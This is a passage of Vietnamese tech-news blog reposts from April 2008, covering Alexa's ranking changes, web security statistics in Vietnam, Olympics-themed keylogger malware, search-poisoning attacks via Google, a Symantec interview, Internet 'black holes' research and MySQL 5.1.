Theo giới phân tích, nguyên nhân chính khiến Alexa phải “đại phẫu” chính là sự cạnh tranh của các đối thủ, như Compete.com (2006) hay Quantcast (2005)và các công ty thống kê, như Hitwise và ComScore. Đối thủ của Alexa ngay từ khi ra đời đã thực hiện cơ chế thu thập thông tin từ nhiều nguồn khác nhau để xếp hạng website.

Mặc dù được “thay máu” bằng hệ thống xếp hạng mới nhưng Alexa không cho phép người dùng so sánh bảng xếp hạng Alexa.com so với các site khác, chẳng hạn như Compete.com. Trong khi đó, Compete.com thì vẫn thực hiện được từ cách đây 1 năm.

(Theo CNet)

Alexa bỏ Toolbar xếp hạng website

2008-04-20T22:27:00.000+07:00

Alexa vừa nâng cấp và cải tổ toàn diện hệ thống xếp hạng website đã hơn 10 năm tuối của hãng. Thay đối đáng chú ý nhất là từ nay Alexa sẽ không còn dựa chủ yếu vào dữ liệu thu thập từ thanh công cụ Alexa Toolbar để đánh giá xếp hạng website nữa.

Thay vào đó giờ đây Alex sẽ tổng hợp thông tin từ nhiều nguồn khác nhau nhằm đánh giá chính xác nhất về số liệu truy cập và xếp hạng của từng trang web.

Thay đổi của Alexa có giúp đánh giá tốt hơn về website Việt?

Có thể thấy việc Alexa tiến hành cải tổ là một hệ quả tất yếu cho những phàn nàn về độ chính xác của bảng xếp hạng website của hãng này. Dữ liệu hiện đang hiển thị trên Alexa là dữ liệu về các website trong vòng 9 tháng gần đây. Các dữ liệu này cũng sẽ được sử dụng để tính toán xếp hạng website theo cơ chế mới.

“Sở thích và thói quen duyệt web giữa người dùng Alexa Toolbar và người không dùng thanh công cụ là hoàn toàn khác biệt. Nhưng khi xếp hạng website, Alexa lại không tính đến sự khác biệt đó. Chính vì thế mà chúng tôi đã phải nỗ lực để xây dựng một hệ thống xếp hạng mới với mục tiêu phản ảnh tốt hơn sở thích và thói quen của tất cả người dùng Internet.”

Một nguyên nhân khác khiến Alexa phải thay đổi chính là sự xuất hiện của một số “đối thủ cạnh tranh” như Compete hay Quantcast. Cả hai hãng này đều đánh giá xếp hạng website dựa vào nhiều nguồn dữ liệu khác nhau nên có độ chính xác hơn hẳn Alexa.

Giới phân tích cho rằng đã qua rồi cái thời Alexa đứng ở vị trí thống trị như trong giai đoạn cuối thập kỷ 90, bởi khi đó Alexa là dịch vụ xếp hạng website duy nhất. Ngoài Alexa ra nếu người dùng muốn có những dữ liệu tương tự họ sẽ phải bỏ tiền ra mua từ các hãng như Nielsen, comScore hay HitWise.

Giới phân tích đánh giá lẽ ra Alexa phải thực hiện những thay đổi trên từ lâu rồi chứ không nên đợi đến bây giờ. Song dù muộn màng nhưng nó vẫn là một sự thay đổi cần thiết.

Website Việt sẽ mất vị trí cao trên Alexa?

Có thể thấy có rất nhiều website Việt xếp ở những vị trí chót vót trên bảng xếp hạng website có số lượng người truy cập nhiều nhất thế giới của Alexa. Không ít các chuyên gia đã ngạc nhiên khi thấy số lượng người dùng Internet biết tiếng Việt không thể cao hơn số người biết tiếng Anh mà không ít website Việt còn đứng ở vị trí cao hơn nhiều website tiếng Anh nổi tiếng trên thế giới.

Lời giải thích duy nhất cho điều này là những dịch vụ “lừa gạt” nhằm giúp website tăng thứ hạng cao chỉ trong một thời gian ngắn. Bởi ở Việt Nam, việc sử dụng xếp hạng trên Alexa để quảng cáo đánh bóng website từ lâu đã trở thành “một thói quen”. Alexa đã trở thành một công cụ để website Việt minh chứng mức độ phổ biến của mình.

Như vậy, việc Alexa thay đổi cơ chế xếp hạng có thể sẽ là “một thảm họa” đối với website Việt. Nhưng nó cũng là cơ hội giúp cho người dùng chúng ta có được một đánh giá tốt hơn về website Việt và có cơ sở để không còn tin vào xếp hạng trước đây của Alexa nữa.

(Theo TuoiTre)

Hàng ngàn web Việt đang sống trong hiểm họa

2008-04-17T02:52:00.000+07:00

Vấn đề bảo mật tại Việt Nam đang nóng dần theo mức độ phát triển của ứng dụng CNTT, từ lượng máy tính nhiễm virus đến số trang web bị tấn công.

Những con số biết nói

Theo thống kê của Trung tâm an ninh mạng Bách Khoa (Bkis), năm 2007 có hơn 33,6 triệu lượt máy tính ở Việt Nam đã nhiễm virus, với thiệt hại ước tính khoảng 2400 tỷ đồng. Số lượng virus mới xuất hiện tăng nhanh, khoảng 6700 virus mới trong cả năm 2007, tăng gấp rưỡi so với năm trước đó. Đáng chú ý là các virus lây qua thẻ nhớ USB, virus phá hủy dữ liệu, virus xuất xứ từ Trung Quốc và hiện tượng virus lây theo bầy đàn (chứa các loại phần mềm độc hại gồm sâu, trojan, spyware, adware).

Đáng lo hơn là tình trạng mất an toàn của các trang web ở Việt Nam. Ông Nguyễn Tử Quảng, giám đốc Bkis khẳng định khoảng trên 80% trang web của các cơ quan, doanh nghiệp ở Việt Nam nếu muốn, hacker có thể kiểm soát hệ thống. Việc thâm nhập có thể qua web, qua người dùng, thậm chí là ngồi ngoài hàng rào cơ quan móc dây, lấy trộm mật khẩu. “Con số này dựa trên những khảo sát thực tế của Bkis”, ông Quảng nhận định.

Một khảo sát của Bkis với các công ty chứng khoán thực hiện tháng 3 năm ngoái cho thấy các trang web của lĩnh vực nhạy cảm này cũng không hề an toàn, khi có tới một nửa trong số 32 trang web chứng khoán có lỗ hổng nghiêm trọng có thể bị hacker lợi dụng để thay đổi kết quả giao dịch, đưa tin thất thiệt. Sau gần 1 năm, Bkis lại tiếp tục khảo sát lại các trang web này thì tình hình bảo mật có được cải thiện nhưng vẫn còn tới 40% trang web còn lỗ hổng nguy hiểm.

Ông Nguyễn Viết Thế, Cục trưởng Cục công nghệ tin học nghiệp vụ, Tổng cục kỹ thuật (Bộ Công an) cho biết, năm 2007 cũng phát hiện khoảng 140 trang web Việt Nam dính lỗ hổng nghiêm trọng, trong đó có cả những trang web .gov.vn (của cơ quan chính phủ). Hơn 340 trang web Việt Nam bị hacker trong và ngoài nước tấn công.

“Hổng” cả nhận thức và hành lang pháp lý

Khảo sát của Bkis cho thấy nhận thức của người dùng máy tính ở Việt Nam đã được nâng lên. Cụ thể, năm 2006 chỉ có 26% người sử dụng hiểu tại sao phải cập nhật bản vá và lỗ hổng phần mềm thường xuyên. Năm 2007, con số này tăng lên gần 50%. Tỷ lệ người dùng phần mềm diệt virus tăng từ 31% năm 2006 lên 40% trong năm 2007.

Nhưng mức độ cải thiện nhận thức chưa đủ để biến thành hành động, giảm thiểu nguy cơ an ninh mạng. Theo ông Quảng, để giảm thiểu nguy cơ an ninh mạng thì không chỉ đòi hỏi nhận thức về kỹ thuật, mà phải biết sử dụng các dịch vụ. Việc bảo mật cũng giống như xây ngôi nhà phải thiết kế ngay từ đầu, tiếp đó mới đến lựa chọn sản phẩm, giải pháp. Sau đó là quá trình vận hành áp dụng các tiêu chuẩn, quy trình bảo mật chuyên nghiệp như ISO 27001. Để làm được việc này, cách tốt nhất là thuê tư vấn chuyên nghiệp, không nên tự làm hoặc sử dụng tư vấn của nhà cung cấp giải pháp. Tuy nhiên, “ở Việt Nam rất ít cơ quan tìm đến các dịch vụ chuyên nghiệp. Có cơ quan bị hack lại mày mò tài liệu tìm cách khắc phục chứ không tìm đến tổ chức chuyên nghiệp”, ông Quảng nói.

Theo ông Trần Nguyên Vũ, Phó cục trưởng Cục Tin học Thống kê tài chính (Bộ Tài chính), an toàn thông tin trong các cơ quan nhà nước nói là được đề cao nhưng đưa vào thực thi thì chưa làm được. Ông Vũ cho rằng các sản phẩm và giải pháp bảo mật hiện nay đã rất tốt. Vấn đề là sử dụng nó thế nào cho đúng quy trình. Tuy nhiên, hạn chế của các cơ quan hiện nay là chưa áp dụng quy trình bảo mật chuẩn, thiếu người chuyên trách về an toàn thông tin.

Trong khi đó, môi trường pháp lý cho vấn đề an ninh mạng cũng “hổng” như nhận thức. Đến nay, hầu hết các vụ tội phạm cơ quan công an phát hiện được đều chỉ bị xử lý nặng nhất là hành chính, chưa đủ sức răn đe. Luật Hình sự quá chung chung, không có hướng dẫn cụ thể để xử lý các vụ tội phạm mạng.

Giới chuyên môn nhận định rằng, tình trạng mất an toàn thông tin nếu không được “hạ nhiệt” sẽ là cản trở lớn với sự phát triển CNTT. Vì lo ngại an toàn, theo đại diện Bộ Công an, ngành công an mới chỉ giao ban trực tuyến trong tổng cục, không dám giao ban trực tuyến trong toàn ngành vì lãnh đạo sợ không đảm bảo an toàn, mặc dù điều kiện kỹ thuật hoàn toàn cho phép.

Một nghiên cứu của PricewaterhouseCoopers cho thấy khi doanh nghiệp chuyển sang thương mại điện tử, nếu hệ thống thông tin bị tấn công và ngưng hoạt động, doanh nghiệp quy mô nhỏ và vừa sẽ giảm doanh số 50%, doanh nghiệp lớn có thể lên đến 80%.

2008 sẽ rất nóng

Dự báo năm 2008, giới chuyên môn nhận định tình hình an ninh mạng còn nóng hơn do ứng dụng CNTT ngày cành mạnh mẽ trong bối cảnh nhận thức và hành lang pháp lý chưa theo kịp.

Đầu tư cho CNTT ở Việt Nam đã bắt đầu vào giai đoạn khác hẳn. Ví dụ, ngành tài chính đã chuyển sang giai đoạn đầu tư tập trung dựa trên web, khoảng 80% hoạt động vụ của ngành đã diễn ra trên môi trường mạng. Ngành bắt đầu hình thành các cơ sở dữ liệu tập trung lớn, cần bảo đảm an toàn. Các lĩnh vực như chứng khoán, ngân hàng, thuế và hải quan đã chuyển dần hoạt động lên môi trường mạng. Việc hội nhập WTO cũng thúc đẩy các tổ chức và doanh nghiệp ứng dụng CNTT mạnh mẽ hơn để tăng sức cạnh tranh.

Theo ông Nguyễn Viết Thế, “năm nay sẽ tiếp tục xuất hiện nhiều biến thể virus mới, tội phạm an ninh mạng sẽ chuyên nghiệp và tinh vi hơn, mạng xã hội sẽ là đích ngắm mới của hacker. Đặc biệt, do sự yếu kém của hệ thống mạng chứng khoán, có thể xuất hiện sự cấu kết giữa hacker và người chơi chứng khoán nhằm thay đổi thông tin giao dịch, sửa chỉ số chứng khoán hoặc đưa tin thất thiệt để trục lợi.”

Bkis cũng dự báo việc sử dụng mạng xã hội nói xấu, bôi nhọ, hạ thấp uy tín cá nhân và tổ chức (cơ quan, doanh nghiệp) sẽ là vấn đề nổi cộm. Mục đích của việc này có thể là cạnh tranh thương mại không lành mạnh hay cũng chỉ là mục đích cá nhân.

Cùng với sự phổ biến của những nền tảng di động mới như Android của Google và iPhone của Apple có thể sẽ là điều kiện xuất hiện nguy cơ từ thiết bị di động, nhất là khi các ngân hàng và các sàn đấu giá đang hướng tới thiết bị động.

(Theo ITC News)

Tin tặc lợi dụng Olympics để phát tán mã độc

2008-04-17T02:51:00.000+07:00

Tin tặc mới đây lại tung lên mạng một đoạn video giả mạo cung cấp thông tin mới về Olympics Bắc Kinh lợi dụng sự quan tâm của người dùng PC tới sự kiện thể thao này để phát tán một loại mã độc nguy hiểm.

Chuyên gia nghiên cứu Patrick Comiotto của Hãng bảo mật McAfee cho biết đoạn video chỉ là những hình vẽ một vận động viên thể dục dụng cụ của Trung Quốc đa trình diễn. Còn thực chất bên dưới là một mã độc nguy hiểm có chức năng ghi lại mọi thao tác trên bàn phím (keylogger) cho phép tin tặc ăn cắp thông tin cá nhân người dùng.

Ông Comiotto cho biết mã độc sau khi lây nhiễm lên PC mã độc keylogger sẽ cài đặt một trình điều khiển ứng dụng độc hại vào thư mục gốc của Windows đồng thời tạo ra một số tệp tin thư viện động có chức năng tạo lập kết nối và gửi thông tin về một máy chủ ở Trung Quốc.

Có thể nói việc tin tặc lợi dụng các sự kiện lớn có nhiều người quan tâm để phát tán mã độc là chuyện diễn ra “như cơm bữa”. Mã độc trên đây cũng không phải là mã độc đầu tiên lợi dụng sự kiện Olympics Bắc Kinh để phát tán. Càng gần đến ngày tổ chức sự kiện thì càng có nhiều dạng mã độc mới xuất hiện hơn.

(Theo Vnunet)

Bảo mật mạng: "Bản chất tấn công" mạng đã thay đổi

2008-04-17T02:50:00.000+07:00

Trong chuyến làm việc tại Việt Nam tháng 3/2008, ông Eric Hoh, Phó chủ tịch Symantec khu vực Nam Á đã chia sẻ với phóng viên về những xu hướng bảo mật mới, cách thức phòng vệ hiệu quả cũng như làm sao để DN đầu tư cho bảo mật CNTT đạt được tối ưu.

PV: Ông có thể chia sẻ quan điểm của mình về những xu hướng bảo mật CNTT đáng lưu ý trong thời gian tới?

Ông Eric Hoh: Chúng ta đang sống trong một thế giới được kết nối (connected world) và CNTT ảnh hưởng đến mọi khía cạnh đời sống. Trong nền kinh tế số đó, điều quan trọng nhất là phải đảm bảo anh chính là anh, còn tôi chính là tôi. Như vậy, yếu tố lòng tin và sự tin cậy là những yêu cầu quan trọng mà nền tảng CNTT phải đảm bảo được.

Một xu hướng chúng ta có thể nhận thấy là sự thay đổi các dạng tấn công trên mạng, với độ phức tạp ngày càng tăng. Hệ thống an ninh mạng trước đây có thể là đủ để bảo vệ các doanh nghiệp thì nay cũng không còn là đủ nữa. Động cơ của tin tặc cũng khác trước. Trước đây, tin tặc có thể tấn công một website, để lại lời nhắn trên website nhằm chứng minh với cộng đồng hacker khả năng tấn công của hắn, để giành được sự nổi tiếng. Những cuộc tấn công đó thường ầm ĩ, một virus phát tán ra cả thế giới đều biết và rất nhiều nơi bị ảnh hưởng. Nhưng giờ đây, bản chất các cuộc tấn công hoàn toàn khác. Động cơ tài chính được đặt lên hàng đầu. Hacker tấn công vào một tổ chức tài chính nào đó, ăn cắp thông tin, thay đổi thông số tài khoản để lấy tiền. Đích tấn công rất ít, chỉ một vài doanh nghiệp và tiến hành âm thầm; việc phát hiện ra hacker và chống lại nó khó khăn hơn trước rất nhiều. Chính vì vậy mà bây giờ giải pháp bảo vệ thụ động (reactive) - chỉ phản ứng sau khi tấn công xảy ra - đã không còn hiệu quả, chúng ta phải bảo vệ một cách chủ động (proactive) chống lại những cuộc tấn công mạng.

PV: Trong bối cảnh chung đó, thị trường bảo mật CNTT Việt Nam có điểm gì đáng lưu ý?

Ông Eric Hoh: Chúng tôi đánh giá thị trường CNTT Việt Nam có tiềm năng rất lớn. Theo hãng nghiên cứu thị trường AMI Partner, các doanh nghiệp vừa và nhỏ tại các quốc gia ASEAN sẽ chi khoảng 3,4 tỉ USD cho CNTT trong năm 2008, trong đó các doanh nghiệp Việt Nam chiếm tới 1,4 tỉ USD và tăng trưởng chi tiêu cho CNTT năm sau cao hơn năm trước 15%. Chúng tôi đặc biệt quan tâm tới thị trường đang phát triển mạnh mẽ này, bởi sau khi DN đã đầu tư cho cơ sở hạ tầng CNTT, tạo ra thông tin rồi thì họ sẽ có nhu cầu bảo vệ những nguồn thông tin đó.

Thị trường an ninh – bảo mật tại Việt Nam cũng có những điểm khác biệt so với các quốc gia khác trong khu vực, nơi mà trình độ nhận thức an ninh của họ cao hơn. Tại Việt Nam, các tổ chức, DN vẫn quan tâm nhiều đến đầu tư cho phần cứng và xây dựng hệ thống, sau đó mới nghĩ đến chuyện tích hợp an ninh vào. Như thế là không có quan điểm thiết kế tổng thể ngay từ đầu, từ thiết kế đến xây dựng, đến triển khai.

Trước hết, các bạn cần thay đổi quan điểm về an ninh, để đưa ngay vào từ giai đoạn thiết kế. Thứ hai, bảo mật ở Việt Nam vẫn là phòng vệ thụ động, tức là khi tấn công xảy ra thì mới đi tìm giải pháp khắc phục. Trong khi đó, nhiều quốc gia trong khu vực đã triển khai các hệ thống phòng vệ chủ động, có những biện pháp phòng vệ trước khi những vụ tấn công xảy ra.

PV: Symantec không phải là công ty bảo mật đầu tiên đến Việt Nam. Vậy theo ông, đâu là lợi thế cạnh tranh của Symantec so với các đối thủ khác?

Ông Eric Hoh: So với các đối thủ cạnh tranh khác, chúng tôi là công ty chuyên về an ninh mạng, có một dòng sản phẩm - giải pháp an ninh mạng hoàn chỉnh. Ưu điểm rất lớn là cung cấp được giải pháp tổng thể về an ninh mạng cho khách hàng và hỗ trợ khách hàng chuyển hệ thống an ninh mạng từ chỗ là “nút cổ chai”, hạn chế hoạt động kinh doanh sang là công cụ hỗ trợ hoạt động kinh doanh. Những giải pháp của Symantec được tích hợp toàn bộ lại với nhau, tạo ra môi trường bảo vệ hoàn chỉnh cho khách hàng.

Mặt khác, Symantec có đội ngũ cán bộ người Việt, nói tiếng Việt và hiểu văn hóa Việt Nam. Họ giúp khách hàng Việt Nam có tầm nhìn chiến lược và áp dụng những sản phẩm của Symantec vào thị trường này. Bên cạnh đó, chúng tôi cũng có đội ngũ kỹ thuật chuyên sâu ở khắp thế giới, hiểu rõ những vấn đề mà khách hàng gặp phải và chuyển kiến thức đó cho đội ngũ ở Việt Nam.

PV: Đúng là các DN Việt Nam đang tập trung đầu tư cho cơ sở hạ tầng CNTT, nhưng phần đông không biết phải đầu tư thế nào cho hạ tầng bảo mật một cách hiệu quả và khoản đó chiếm tỷ lệ bao nhiêu trong tổng đầu tư. Ông có thể tư vấn cho các doanh nghiệp Việt Nam trong quá trình đầu tư ứng dụng giải pháp bảo mật CNTT hay không?

Ông Eric Hoh: Tôi đồng ý với anh rằng nếu chúng ta có 1 USD đầu tư vào an ninh thì phải đảm bảo đồng đô la đó được đầu tư đúng chỗ. Theo tôi, DN phải xuất phát từ những mục tiêu kinh doanh của họ và rủi ro đi kèm. Khi đã xác định được thì DN sẽ biết là cần làm gì để bảo vệ mục tiêu kinh doanh và ngăn chặn rủi ro.

Thực ra, an ninh ở đây không chỉ là hệ thống mà còn là quy trình. Nghĩa là DN phải xây dựng được một bộ tài liệu về chính sách an ninh, trong đó quy định tất cả những chi tiết, ví dụ như không được gửi thông tin bí mật qua email, hay 3 tháng phải thay mật khẩu một lần... Khi đó, DN sẽ biết được là họ cần gì và đầu tư gì về bảo mật, mua sản phẩm bảo mật nào là phù hợp.

Chúng tôi có những dịch vụ giúp khách hàng đánh giá hiện trạng và rủi ro hiện tại, đưa ra chính sách an ninh cần thiết và tư vấn những gì họ cần đầu tư. Và Symantec có những sản phẩm, giải pháp đầy đủ. Như thế, Symantec hoàn toàn đưa ra được giải pháp tổng thể, giúp doanh nghiệp đầu tư một cách khôn ngoan và có hệ thống an ninh tối ưu nhất.

PV: Theo ông, cách tiếp cận bảo mật của các cơ quan chính phủ có điều gì khác biệt so với DN? Và Symantec có sẵn sàng đóng vai trò là nhà tư vấn bảo mật cho các cơ quan chính phủ Việt Nam?

Ông Eric Hoh: Mục đích hoạt động của 2 lĩnh vực này hoàn toàn khác nhau. Chẳng hạn như lĩnh vực thương mại, doanh nghiệp, mục tiêu của họ là lợi nhuận và doanh thu. Vì vậy, yêu cầu bảo mật của họ chỉ là làm thế nào đảm bảo về mặt doanh thu, lợi nhuận. Còn các cơ quan chính phủ phải bảo đảm tính riêng tư của số liệu công dân không bị rò rỉ, đặc biệt là phải đảm bảo những tài sản rất quan trọng, như cơ sở hạ tầng hệ thống thông tin-truyền thông quốc gia, cơ sở hạ tầng điện lực... nếu hệ thống CNTT của các cơ quan này bị rò rỉ, chiếm dụng, khai thác, phá hoại thì hậu quả là khôn lường. Chính vì thế, yêu cầu bảo mật của cơ quan chính phủ luôn phải đặt cao hơn so với khối doanh nghiệp, thương mại.

Còn về vai trò nhà tư vấn bảo mật cho các cơ quan chính phủ Việt Nam, tất nhiên là chúng tôi rất sẵn sàng. Symantec đã bắt tay vào việc này thông qua sự hợp tác với Trung tâm Ứng cứu Khẩn cấp Máy tính Việt Nam (VNCERT) thuộc Bộ TT&TT. Tuy nhiên, chúng tôi chưa thể chia sẻ được gì nhiều ở thời điểm này.

PV: Xin cảm ơn ông.

(Theo ICTNews)

Phát hiện các “lỗ đen” khắp Internet

2008-04-17T02:48:00.000+07:00

Lý do tại sao bạn không thể đến một trang web đặc biệt vào thời điểm cho sẵn có thể là rất đơn giản.

Các vấn đề máy chủ và lưu ký (hosting), duy trì hoặc thực tế đơn giản là một trang web đã bị gián đoạn là những giải thích hay được đưa ra nhất cho nguyên nhân tại sao một trang web không thể tải (load) được.

Song có một lý do khác, một khả năng bí hiểm hơn: Lỗ đen.

Một nhóm nghiên cứu thuộc Đại học Washington (Mỹ) đã bắt đầu vạch ra kịch bản cho việc các gói thông tin trên Internet đơn giản biến mất.

“Có một giả thiết là nếu anh có một kết nối Internet đang hoạt động thì anh có truy cập đến tất cả Internet ở mọi nơi”, theo Ethan Katz-Bassett, một nghiên cứu sinh tiến sỹ về khoa học máy tính và cơ khí Đại học Washington. “Chúng tôi đã phát hiện không phải như vậy”.

Katz-Bassett đang làm việc với dự án có tên là Hubble, một hệ thống cho phép theo dõi điều ông quy là những lỗ đen thông tin.

Có các tình huống xảy ra là có một đường giữa hai máy tính tồn tại nhưng thông điệp – một yêu cầu để đến thăm một trang web hoặc gửi đi một email – bị lạc đi khá xa. Ông Katz-Bassett đã xuất bản một bản đồ Hubble cho phép người sử dụng giám sát những lỗ đen như vậy trên khắp thế giới hay là một dạng đơn giản trong một mạng địa chỉ để kiểm tra trạng thái của nó.

Để xác định một trạng thái mạng, hệ thống Hubble gửi đi các tin nhắn hay thông điệp thử nghiệm “khắp thế giới” để tìm ra những chiếc máy tính có thể được với tới từ một số nhưng không phải là toàn bộ Internet, một tình huống được mô tả là “Có thể với tới cục bộ”. Ông Katz-Bassett nói những tiếng kêu bip truyền thông ngắn đó (là các thông điệp) bị lờ đi. Nếu một vấn đề nổi lên liên tục trong hai cuộc thử nghiệm 15 phút, nó bị liệt kê là “trục trặc”.

Nhóm nghiên cứu phát hiện hơn 7% máy tính toàn cầu trải qua dạng lỗi này ít nhất một lần trong suốt giai đoạn 3 tuần trong mùa thu 2007.

“Khi chúng tôi bắt đầu dự án này, chúng tôi thực sự không hy vọng tìm thấy nhiều vấn đề như vậy”, Arvind Krishnamurthy, một trợ lý giáo sư về khoa học máy tính Đại học Washington và là tư vấn cho Katz-Bassett nói, “Chúng tôi rất ngạc nhiên về những kết quả đã đạt được”.

Nhân tiện, tên của dự án cũng không phải là sự tình cờ. Như các nhà nghiên cứu nói, nó đại diện cho một dịch vụ trong lĩnh vực thường được mô tả là thiên văn học Internet.

Giống như kính thiên văn Hubble có thể quan sát các lỗ đen trong vũ trụ, phần mềm này làm công việc tương tự trên Internet bằng việc giám sát hạ tầng và hoạt động của mạng lưới.

Hubble được dự kiến đưa ra thuyết trình ở San Francisco vào tuần tới.

(Theo ICT News)

Cẩn trọng khi dùng Google - nhấp chuột là “xong”

2008-04-17T02:43:00.001+07:00

Những trang web chứa phần mềm ác ý không có thông tin hữu ích. Thay vào đó, chỉ cần nhấn vào liên kết tới trang web đó trong kết quả tìm kiếm trên Google thì PC của bạn sẽ bị tấn công.

Nếu phần mềm ác ý tìm ra được bất kỳ lỗ hổng nào trong một loạt chương trình trên máy bạn thì nó sẽ bắt đầu tấn công.

Xu hướng phần mềm ác ý mới khiến bạn phải suy nghĩ mỗi khi muốn nhấn vào một đường dẫn nào đó.

Vụ tấn công này xảy ra hồi tháng 11 năm ngoái. Lúc đó, nếu người dùng vào Google và gõ một trong hàng ngàn cụm từ thông dụng nào đó, ví dụ như "Microsoft Excel to access" thì PC đã bị tấn công, có thể đó là thư rác, hay phần mềm đánh cắp mật mã, hoặc các loại phần mềm ác ý khác.

Từ ngày 24/11 năm ngoái, kéo dài gần một tuần, kẻ xấu tung ra hơn 40.000 trang web chứa phần mềm ác ý và hàng ngàn cụm từ tìm kiếm thông dụng khác. Sau đó, chúng dùng một mạng lưới máy tính đã bị nhiễm botnet, tự động đưa liên kết của những trang này vào mục comment của blog và những nơi khác. Bằng cách này, những trang Web nguy hiểm trên được đem lên đầu kết quả tìm kiếm.

Chỉ cần một cú nhấp chuột là... “xong”

Những trang web chứa phần mềm ác ý không có thông tin hữu ích. Thay vào đó, chỉ cần nhấn vào liên kết tới trang web đó trong kết quả tìm kiếm thì PC của bạn sẽ bị tấn công. Nếu phần mềm ác ý tìm ra được bất kỳ lỗ hổng nào trong một loạt chương trình trên máy bạn thì nó sẽ bắt đầu tấn công.

Kiểu tấn công này cho thấy mức độ tinh vi cao hơn, sử dụng nhiều kỹ thuật để làm cho trang web đó được hiển thị lên trang đầu trong bảng kết quả tìm kiếm và phát tán phần mềm ác ý đến hàng loạt người dùng. Có một chuyên gia tình cờ phát hiện ra vụ tấn công này khi ông gõ tìm firmware "netgear Prosafe DD-WRT" cho router của mình. Và ông thấy trên trang kết quả tìm kiếm đầu tiên có một kết quả rất đáng nghi. Chuyển sang cụm từ khác lại mở ra tiếp nhiều trang web tấn công khác nữa (find.pcworld.com/59511).

Đến nay, không còn trang web nào trong đợt tấn công vừa rồi xuất hiện trên Google nữa. Google đã khóa tất cả tên miền đó. Nhưng Google không hề cho biết đã làm cách nào để ngăn chặn đợt tấn công này hay phương pháp ngăn chặn nó nếu xảy ra lần nữa.

Hồng tâm là Google

Vụ tấn công quy mô lớn này có 3 điểm đáng lưu ý, cho thấy mức độ tinh vi và mục đích của nó. Thứ nhất là cách thủ phạm dùng botnet để khai thác điểm yếu của kỹ thuật SEO (search-engine optimization) tối ưu engine tìm kiếm, còn gọi là "bom Google", nhằm tăng thứ hạng website của chúng trong kết quả tìm kiếm.

Thứ 2 là các web "độc" này mang mã JavaScript, chỉ tấn công những ai vào web qua Google. Các chuyên gia nhận định đây là một đòn thách thức Google. Tuy không biết động cơ thật sự khi nhắm vào người dùng Google, nhưng trước đây kẻ xấu đã từng nhắm vào trang web hay công ty cụ thể nào đó khi chúng thấy mình bị đe dọa. Gần đây Google đã đưa ra một biểu mẫu trực tuyến (find.pcworld.com/59513) để cho người dùng báo cáo những trang web khả nghi.

Thứ 3 là những trang web này được lập trình để không xuất hiện khi từ khóa tìm kiếm chứa những cụm từ mà các chuyên viên bảo mật thường dùng như "inurl" và "site".

Mặc dù Google đã tiến hành những biện pháp loại trừ ảnh hưởng của rác comment trong kết quả tìm kiếm, nhưng ngày càng có nhiều kẻ trong thế giới “ngầm” sử dụng kỹ thuật SEO. Và kẻ xấu dùng thủ đoạn này không chỉ để phá PC của người dùng. Theo WhiteHat Security, gần đây có kẻ tấn công vào trang web của AlGore và thêm vào một liên kết mà chỉ xem ở trang mã nguồn mới thấy.

Cách tìm thông tin an toàn

Dù vụ tấn công này tinh vi và hiệu quả nhưng bạn không cần phải ngưng sử dụng Google nếu cẩn trọng. Quan trọng nhất là bạn luôn phải vá lỗ hổng và cập nhật phần mềm. Theo các chuyên gia, những trang web này sử dụng bộ công cụ lập trình "404 exploit framework" (tấn công ngay khi phát hiện chỗ yếu trên phần mềm đã biết). Bạn có thể vá được hầu hết lỗ hổng trên các phần mềm thường dùng như Microsoft Windows, Mozilla Firefox, Apple Quicktime... bằng tính năng tự động cập nhật của chúng. Bạn cũng nên cập nhật thủ công bản WinZip mới nhất (do nó không có tính năng tự cập nhật).

Hãy chú ý những gì bạn nhấn chọn và luôn đề phòng khi tìm kiếm.

(Theo PCWorld)

MySQL đổi mới "vượt bậc"

2008-04-17T02:41:00.000+07:00

Cộng đồng phát triển sẽ có thể chạm tay vào phiên bản MySQL hoàn toàn mới ngay trong tuần này, khi Sun Microsystems chủ trì cuộc hội thảo đầu tiên về cơ sở dữ liệu nguồn mở MySQL.

Theo lời hứa hẹn của Sun, MySQL 5.1 đã được bổ sung thêm nhiều tính năng mới, phù hợp hơn với các ứng dụng thiết yếu tại doanh nghiệp và tập đoàn cỡ lớn.

"Đây là những tính năng hết sức quan trọng", ông Zach Urlocker, Phó Chủ tịch các sản phẩm MySQL của Sun cho biết.

"Lẽ ra chúng tôi nên gọi phiên bản mới là 6.0 thì thích hợp hơn với tính chất cách tân và đổi mới toàn diện của nó.

Các kỹ sư của Sun đã mất tới vài năm để có thể phát triển nên phiên bản này, và cá nhân tôi phải thừa nhận là MySQL 5.1 có quá nhiều điểm mới, quá nhiều công năng".

Trong số những điểm tiến bộ của 5.1 so với các phiên bản trước đây phải kể đến tính năng lên lịch sự kiện, phân chia tài nguyên mạng, tạo nhóm dữ liệu....

Đây là những tính năng mà các phần mềm cơ sở dữ liệu đối thủ của IBM, Oracle và Microsoft đều đã cung cấp, và hơn ai hết, MySQL rất cần chúng để có thể cạnh tranh trong môi trường doanh nghiệp.

"Điều khiến chúng tôi tự hào nhất ở 5.1, thành thực mà nói, là hàng loạt lỗ hổng nghiêm trọng trong 5.0 đã được khắc phục và sửa chữa", ông Urlocker tiết lộ.

"Chính vì vậy, 5.1 không chỉ ổn định hơn, đáng tin cậy hơn mà hiệu suất của nó cũng tăng ít nhất 20%".

Chưa mạnh, nhưng sẽ lớn nhanh!

Trước đây, Sun từng thông báo sẽ phát hành MySQL 5.1 ngay trong quý I, tuy nhiên lời hứa này đã không thể trở thành hiện thực.

Ông Urlocker đã "tranh thủ" xin lỗi cộng đồng phát triển vì sự chậm trễ này của Sun.

Một số chủ đề cũng sẽ được mang ra thảo luận trong cuộc hội thảo về MySQL là công cụ giao tác mới của giới phát triển MySQL.

Hiện nay, hầu hết khách hàng của MySQL vẫn dùng InnoDB, nhưng phần mềm này đã bị Oracle mua lại từ cách đây vài năm.

Do đó, MySQL đã phải phát triển một công cụ thay thế có tên là Falcon. Theo dự kiến, Falcon sẽ phát hành cùng thời điểm với MySQL 6.0.

"Mục tiêu đặt ra là biến Falcon thành công cụ giao tác ngầm định của cả MySQL lẫn MySQL AB. Phần mềm này sẽ được tối ưu hóa cho các ứng dụng web trong một môi trường đa lõi, đa phân luồng", Sun cho biết.

Cũng trong dịp này, Sun sẽ công bố lộ trình nâng cấp và cập nhật dành cho MySQL. Đây là thông tin mà Sun đã giữ kín như bưng suốt từ khi mua lại MySQL với giá 1 tỷ USD hồi tháng 2 vừa qua.

"Chúng tôi hy vọng phiên bản 5.1 sẽ giúp MySQL thâm nhập được vào thị trường doanh nghiệp.

